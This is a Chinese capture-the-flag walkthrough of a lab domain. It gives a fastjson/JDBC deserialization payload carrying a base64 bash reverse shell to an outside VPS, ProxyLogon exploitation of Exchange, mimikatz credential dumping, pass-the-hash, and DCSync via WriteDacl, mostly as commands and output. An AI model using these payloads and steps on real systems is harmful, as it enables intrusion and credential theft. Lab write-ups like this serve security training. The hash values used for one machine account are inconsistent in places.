exchange

Exchange 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag,分布于不同的靶机。

tag

JDBCExchangeNTLMCoerce AuthenticationDCSync

信息搜集

先用fscan扫一下机器
./fscan.exe -h 39.98.121.30

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start infoscan
39.98.121.30:22 open
39.98.121.30:8000 open
39.98.121.30:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.98.121.30 code:200 len:19813 title:lumia
[*] WebTitle http://39.98.121.30:8000 code:302 len:0 title:None 跳转url: http://39.98.121.30:8000/login.html
[*] WebTitle http://39.98.121.30:8000/login.html code:200 len:5662 title:Lumia ERP
已完成 3/3
[*] 扫描结束,耗时: 26.8971386s

机器12

打开扫描到的http://39.98.121.30:8000/login.html,有一个跳转官方页面,源代码发现是huaxiaerp,也就是华夏erp,搜索相关漏洞
尝试读取用户信息,发现几个用户以及自己注册的用户
/user/login/../../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=15

然后尝试fastjson反序列化漏洞
Java 代码审计之华夏 ERP CMS v2.3
先dnslog测试
/user/list?search={"@type":"java.net.Inet4Address","val":"x8iil8.dnslog.cn"}
url编码一下传入

成功收到回显
在 vps 起一个 MySQL_Fake_Server,把 Ysoserial 放在同目录下,编辑 config.json 弹 shell
git clone https://github.com/fnmsd/MySQL_Fake_Server
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
echo 'bash -c bash -i >& /dev/tcp/119.45.30.176/4444 0>&1' | base64
更改base64为自己命令的base64
"CommonsCollections6":["CommonsCollections6","bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTE5LjQ1LjMwLjE3Ni80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}"]
然后修改config.json

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{
"config":{
"ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"CommonsCollections6":["CommonsCollections6","bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTE5LjQ1LjMwLjE3Ni80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}"]
}
}

改这三个地方

“hostToConnectTo”: “VPS-ip”
“ysoserialPath”:”ysoserial-all.jar”
“CommonsCollections6”:[“CommonsCollections6”,”bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTE5LjQ1LjMwLjE3Ni80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}”]

然后启动服务器

这里python版本过高会报错

python3.9 server.py

传入的payload如下
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "119.45.30.176", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTE5LjQ1LjMwLjE3Ni80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }
需要更改hostToConnectTo参数为vps的ip以及user参数为反弹shell的命令
url编码一下
%7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java%2Elang%2EAutoCloseable%22%2C%20%22%40type%22%3A%20%22com%2Emysql%2Ejdbc%2EJDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22119%2E45%2E30%2E176%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22yso%5FCommonsCollections6%5Fbash%20%2Dc%20%7Becho%2CYmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTE5LjQ1LjMwLjE3Ni80NDQ0IDA%2BJjEK%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com%2Emysql%2Ejdbc%2Einterceptors%2EServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM%5FHOSTS%22%3A%20%221%22%20%7D%20%7D
启动监听
nc -lvvp 4444
传入数据,这里很多路由都可以,只要传入的是search参数即可,例如
/supplier/list?search=%7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java%2Elang%2EAutoCloseable%22%2C%20%22%40type%22%3A%20%22com%2Emysql%2Ejdbc%2EJDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22119%2E45%2E30%2E176%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22yso%5FCommonsCollections6%5Fbash%20%2Dc%20%7Becho%2CYmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTE5LjQ1LjMwLjE3Ni80NDQ0IDA%2BJjEK%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com%2Emysql%2Ejdbc%2Einterceptors%2EServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM%5FHOSTS%22%3A%20%221%22%20%7D%20%7D

成功拿到shell,然后传个stowaway上去,进行连接
在VPS上起个python内置服务器:
把需要下载的文件放在你执行python命令的路径下,然后执行下面的命令
python3 -m http.server 80
然后在对方机器shell中进行下载,输入下面的命令即可,这里的ip为我们的vps的外网地址,路径为文件名
wget http://119.45.30.176/linux_x64_agent
如果不行可以试试ping一下,ping通了就是能下,可能是文件名错了之类的
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.98.121.30:44444 -s 123
成功连接,先用stowaway传个fscan上去
upload /home/kali/Desktop/fscan /tmp/xx/fscan
挂个代理
socks 12345
然后起shell
shell
直接就是root权限,拿root路径下的flag01

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cat flag01.txt
██ ██ ██ ██ ███████ ███████ ██ ████ ██ ████████
░░██ ██ ░██ ████ ██░░░░░██ ░██░░░░██ ████ ░██░██ ░██ ██░░░░░░██
░░██ ██ ░██ ██░░██ ██ ░░██░██ ░██ ██░░██ ░██░░██ ░██ ██ ░░
░░███ ░██ ██ ░░██ ░██ ░██░███████ ██ ░░██ ░██ ░░██ ░██░██
██░██ ░██ ██████████░██ ░██░██░░░██ ██████████░██ ░░██░██░██ █████
██ ░░██ ░██░██░░░░░░██░░██ ██ ░██ ░░██ ░██░░░░░░██░██ ░░████░░██ ░░░░██
██ ░░██░██░██ ░██ ░░███████ ░██ ░░██░██ ░██░██ ░░███ ░░████████
░░ ░░ ░░ ░░ ░░ ░░░░░░░ ░░ ░░ ░░ ░░ ░░ ░░░ ░░░░░░░░

| | || | /~~\ /\ |\ /|~|~
| | ||--|| |/__\ | \/ | |
\/ \/ | | \__// \| |_|_

flag01: flag{9df584ea-34d7-4d2b-9b71-5b746b2c6e30}

机器9

ifconfig
./fscan -h 172.22.3.0/24

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start infoscan
(icmp) Target 172.22.3.12 is alive
(icmp) Target 172.22.3.2 is alive
(icmp) Target 172.22.3.9 is alive
(icmp) Target 172.22.3.26 is alive
[*] Icmp alive hosts len is: 4
172.22.3.9:808 open
172.22.3.9:8172 open
172.22.3.9:135 open
172.22.3.2:135 open
172.22.3.12:8000 open
172.22.3.9:80 open
172.22.3.9:81 open
172.22.3.12:80 open
172.22.3.12:22 open
172.22.3.26:445 open
172.22.3.9:445 open
172.22.3.2:445 open
172.22.3.9:443 open
172.22.3.9:139 open
172.22.3.26:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.2:88 open
[*] NetInfo
[*]172.22.3.2
[->]XIAORANG-WIN16
[->]172.22.3.2
[*] NetBios 172.22.3.26 XIAORANG\XIAORANG-PC
[*] NetInfo
[*]172.22.3.9
[->]XIAORANG-EXC01
[->]172.22.3.9
[*] OsInfo 172.22.3.2 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.3.2 [+] DC:XIAORANG-WIN16.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetInfo
[*]172.22.3.26
[->]XIAORANG-PC
[->]172.22.3.26
[*] WebTitle http://172.22.3.12 code:200 len:19813 title:lumia
[*] WebTitle http://172.22.3.12:8000 code:302 len:0 title:None 跳转url: http://172.22.3.12:8000/login.html
[*] NetBios 172.22.3.9 XIAORANG-EXC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.3.12:8000/login.html code:200 len:5662 title:Lumia ERP
[*] WebTitle http://172.22.3.9:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle https://172.22.3.9:8172 code:404 len:0 title:None
[*] WebTitle http://172.22.3.9 code:403 len:0 title:None
[*] WebTitle https://172.22.3.9 code:302 len:0 title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237 title:Outlook
已完成 18/18
[*] 扫描结束,耗时: 10.974903908s

172.22.3.12 本机
172.22.3.2 域控
172.22.3.9 Exchange服务器
172.22.3.26
然后在windows上也挂个代理
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.98.121.30:44445 -s 123
然后访问https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0,查看源代码找到版本为15.1.1591
然后搜索相关漏洞

Windows Exchange Server 存在多个严重漏洞,最著名的是 CVE-2021-26855,也称为 ProxyLogon 漏洞。该漏洞允许攻击者绕过身份验证,发送任意 HTTP 请求,从而进行内网探测并获取用户邮箱信息。利用此漏洞,攻击者可以进行未授权的远程访问,甚至安装恶意软件以长期控制受害机器。

尝试打ProxyLogon
git clone https://github.com/hausec/ProxyLogon
proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab
成功获得shell
whoami
发现为system权限
netstat -ano
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 872
发现rdp(远程连接端口3389)开放,注册用户进行登录
net user xianxin pass@123 /add
这里密码太简单可能会注册失败
net localgroup administrators xianxin /add
添加管理员权限组方便后续以管理员权限运行
windows远程桌面连过去172.22.3.9
在administrator用户下拿到flag02

flag02: flag{9cea9efe-e2de-4777-b589-2f35910eddaf}

机器3

然后用管理员权限运行mimikatz
privilege::debug
sekurlsa::logonpasswords
重点信息为如下两条关于XIAORANG-EXC01$和Zhangtong两个用户的信息

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Authentication Id : 0 ; 24181 (00000000:00005e75)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/8/14 19:56:04
SID :
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : a869a75befff4a1486bcc43496331fc1
* SHA1 : 517bcdc5b86e57d8354a6b3678da9745cdbd7742
tspkg :
wdigest :
kerberos :
ssp :
[00000000]
* Username : HealthMailbox0d5918ea7298475bbbb7e3602e1e289d@xiaorang.lab
* Domain : (null)
* Password : zdX$}$Lh2Xz}Nt5B)e[0=^G(6K>di@*rtg+rAKC9?_b?mRxN]q;%}|5H)u*#RQ2sm;G!At@8&=%lhcw?lA^@Tc=DG+iq=C?$)5A>6qGDZf?u)eQj8-Ck@yD;/1klV2D6
[00000001]
* Username : HealthMailbox0d5918ea7298475bbbb7e3602e1e289d@xiaorang.lab
* Domain : (null)
* Password : zdX$}$Lh2Xz}Nt5B)e[0=^G(6K>di@*rtg+rAKC9?_b?mRxN]q;%}|5H)u*#RQ2sm;G!At@8&=%lhcw?lA^@Tc=DG+iq=C?$)5A>6qGDZf?u)eQj8-Ck@yD;/1klV2D6
credman :

Authentication Id : 0 ; 2416569 (00000000:0024dfb9)
Session : RemoteInteractive from 2
User Name : Zhangtong
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2025/8/14 19:58:14
SID : S-1-5-21-533686307-2117412543-4200729784-1147
msv :
[00000003] Primary
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
tspkg :
wdigest :
* Username : Zhangtong
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : Zhangtong
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :

这里拿到这两个用户的NTLM

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XIAORANG-EXC01$ a869a75befff4a1486bcc43496331fc1
Zhangtong 22c7f81993e96ac83ac2f3f1903de8b4

这里利用PTH尝试远程过去
proxychains xfreerdp /pth:766a276a053f370d92eaf25c243f1124 /u:XIAORANG-EXC01$ /v:172.22.3.9:3389
这里尝试远程

大失败(
这里应该是可以登录上去用bloodhound进行信息收集

直接用我们新建的用户收集会报错

这里可以用其他方法进行收集信息
proxychains4 bloodhound-python -u "XIAORANG-EXC01$" --hashes :766a276a053f370d92eaf25c243f1124 -d xiaorang.lab -dc XIAORANG-WIN16.xiaorang.lab -c all --dns-tcp -ns 172.22.3.2 --auth-method ntlm --zip
或者利用msf
这里先拿一下第一个机器,用stowaway传个马
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4567 -f elf -o xx.elf
upload /home/kali/Desktop/xx.elf /tmp/xx/xx.elf
配置msf
msfconsole

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use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 39.98.109.189
set lport 4567
run

拿下第一个机器
然后进行流量转发
sessions
route add 172.22.3.0/24 3
然后打机器9

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use exploit/windows/smb/psexec
set RHOSTS 172.22.3.9
set SMBUser XIAORANG-EXC01$
set SMBPass 00000000000000000000000000000000:766a276a053f370d92eaf25c243f1124
set SMBDomain xiaorang.lab
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 6789
run

拿下机器9,这里传个SharpHound.exe上去,可以用msf传,但是之前远程桌面已经传上去了,就直接用了
SharpHound.exe -c all
然后成功获取zip文件,download下来
然后在kali中启动bloodhound

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neo4j start 
./BloodHound --no-sandbox

Analysis(分析查询),在 BloodHound 中预设了一些查询条件,具体如下:
1、查询所有域管理员
2、寻找到域管理员的最短路径
3、查找具有DCSync权限的主体
4、具有外部域组成员资格的用户
5、具有外部域名组成员资格的组
6、映射域信任
7、到无约束委托系统的最短路径
8、到达Kerberoastable用户的最短路径
9、从Kerberoastable用户到域管理员的最短路径
10、拥有的主体的最短路径
11、从拥有的主体到域管理员的最短路径
12、到高价值目标的最短路径
13、查找域用户是本地管理员的计算机
14、查找域用户可以读取密码的计算机
15、从域用户到高价值目标的最短路径
16、找到从域用户到高价值目标的所有路径
17、找到域用户可以RDP的工作站
18、找到域用户可以RDP的服务器
19、查找域用户组的危险权限
20、找到高价值群体中能够支持kerberoable的成员
21、列出所有kerberoable用户
22、查找具有大多数特权的Kerberoastable用户
23、查找到非域控制器的域管理登录
24、查找不支持操作系统的计算机
25、查找AS-REP Roastable用户(DontReqPreAuth)

然后发现EXC01机器账户默认对域内成员具有writeDacl权限,这个权限允许身份修改指定对象ACL,所以可以给Zhangtong修改个DCSync(给自己也行,这样就只需要XIAORANG-EXC01$一个人的哈希了),然后就可以抓域控哈希了。


添加DCSync
proxychains impacket-dacledit xiaorang.lab/XIAORANG-EXC01\$ -hashes :a869a75befff4a1486bcc43496331fc1 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

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Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
[*] DACL backed up to dacledit-20250814-105424.bak
[*] DACL modified successfully!

dump哈希
proxychains impacket-secretsdump xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc

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xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b8fa79a52e918cb0cbcd1c0ede492647:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\$431000-7AGO1IPPEUGJ:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_46bc0bcd781047eba:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2554056e362e45ba9:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_ae8e35b0ca3e41718:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_341e33a8ba4d46c19:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_3d52038e2394452f8:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2ddd7a0d26c84e7cb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_015b052ab8324b3fa:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_9bd6f16aa25343e68:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_68af2c4169b54d459:1133:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\HealthMailbox8446c5b:1135:aad3b435b51404eeaad3b435b51404ee:a8a34b20e05878a289766da0a1c61372:::
xiaorang.lab\HealthMailbox0d5918e:1136:aad3b435b51404eeaad3b435b51404ee:617ca2890739647b84ba16d32be1eccc:::
xiaorang.lab\HealthMailboxeda7a84:1137:aad3b435b51404eeaad3b435b51404ee:1e89e23e265bb7b54dc87938b1b1a131:::
xiaorang.lab\HealthMailbox33b01cf:1138:aad3b435b51404eeaad3b435b51404ee:0eff3de35019c2ee10b68f48941ac50d:::
xiaorang.lab\HealthMailbox9570292:1139:aad3b435b51404eeaad3b435b51404ee:e434c7db0f0a09de83f3d7df25ec2d2f:::
xiaorang.lab\HealthMailbox3479a75:1140:aad3b435b51404eeaad3b435b51404ee:c43965ecaa92be22c918e2604e7fbea0:::
xiaorang.lab\HealthMailbox2d45c5b:1141:aad3b435b51404eeaad3b435b51404ee:4822b67394d6d93980f8e681c452be21:::
xiaorang.lab\HealthMailboxec2d542:1142:aad3b435b51404eeaad3b435b51404ee:147734fa059848c67553dc663782e899:::
xiaorang.lab\HealthMailboxf5f7dbd:1143:aad3b435b51404eeaad3b435b51404ee:e7e4f69b43b92fb37d8e9b20848e6b66:::
xiaorang.lab\HealthMailbox67dc103:1144:aad3b435b51404eeaad3b435b51404ee:4fe68d094e3e797cfc4097e5cca772eb:::
xiaorang.lab\HealthMailbox320fc73:1145:aad3b435b51404eeaad3b435b51404ee:0c3d5e9fa0b8e7a830fcf5acaebe2102:::
xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:862976f8b23c13529c2fb1428e710296:::
Zhangtong:1147:aad3b435b51404eeaad3b435b51404ee:22c7f81993e96ac83ac2f3f1903de8b4:::
XIAORANG-WIN16$:1000:aad3b435b51404eeaad3b435b51404ee:fd3d30832034e3cfe685601287562996:::
XIAORANG-EXC01$:1103:aad3b435b51404eeaad3b435b51404ee:a869a75befff4a1486bcc43496331fc1:::
XIAORANG-PC$:1104:aad3b435b51404eeaad3b435b51404ee:8a10dc5eca701615f1dbcaddd23af201:::

当然给自己权限也可以
proxychains impacket-dacledit xiaorang.lab/XIAORANG-EXC01\$ -hashes :766a276a053f370d92eaf25c243f1124 -action write -rights DCSync -principal XIAORANG-EXC01$ -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
proxychains impacket-secretsdump xiaorang.lab/XIAORANG-EXC01\$@172.22.3.2 -hashes :766a276a053f370d92eaf25c243f1124 -just-dc

这里拿到关键的Administrator的hash和Lumia的hash

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xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::
xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:862976f8b23c13529c2fb1428e710296:::

直接PTH拿域控即可
proxychains impacket-smbexec -hashes aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.2 -codec gbk
直接拿flag

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C:\Windows\system32>type C:\Users\Administrator\flag\flag.txt
____ ___.___ _____ ________ __________ _____ _______ ________
\ \/ /| | / _ \ \_____ \\______ \ / _ \ \ \ / _____/
\ / | |/ /_\ \ / | \| _/ / /_\ \ / | \/ \ ___
/ \ | / | \/ | \ | \/ | \/ | \ \_\ \
/___/\ \|___\____|__ /\_______ /____|_ /\____|__ /\____|__ /\______ /
\_/ \/ \/ \/ \/ \/ \/



flag04: flag{ef92f563-718d-4f56-af8f-7bb7fbe4ba40}

这里发现漏了一个flag03,大概率在我们没有触及的26那台机器上

机器26

这里利用域控的哈希PTH过去
proxychains impacket-smbexec -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -codec gbk
在lumia用户下发现一个secret.zip

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C:\Windows\system32>dir C:\Users\Lumia\Desktop
驱动器 C 中的卷没有标签。
卷的序列号是 480A-F90D

C:\Users\Lumia\Desktop 的目录

2022/10/23 21:40 <DIR> .
2022/10/23 20:22 <DIR> ..
2022/10/23 21:40 668,436 secret.zip
1 个文件 668,436 字节
2 个目录 29,166,874,624 可用字节

利用smb将这个文件下载下来
proxychains4 impacket-smbclient -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -dc-ip 172.22.3.2
get secret.zip

发现还有密码,这里需要导出exchange服务器(邮服)上Lumia用户的邮件
git clone https://github.com/Jumbo-WJB/PTH_Exchange
proxychains python pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
发现了两个邮件,第一个邮件提示电话号码,附件即为我们的secret.zip,里面有一个flag.docx,但还是需要密码解压。根据邮件内容,密码就是电话号码。电话号码刚好在第二个邮件中的Excel文件中,导出利用ARCHPR进行爆破,得到密码

18763918468
获得flag03

补充

https://blog.csdn.net/qq_42077227/article/details/130236560
https://www.freebuf.com/articles/web/288370.html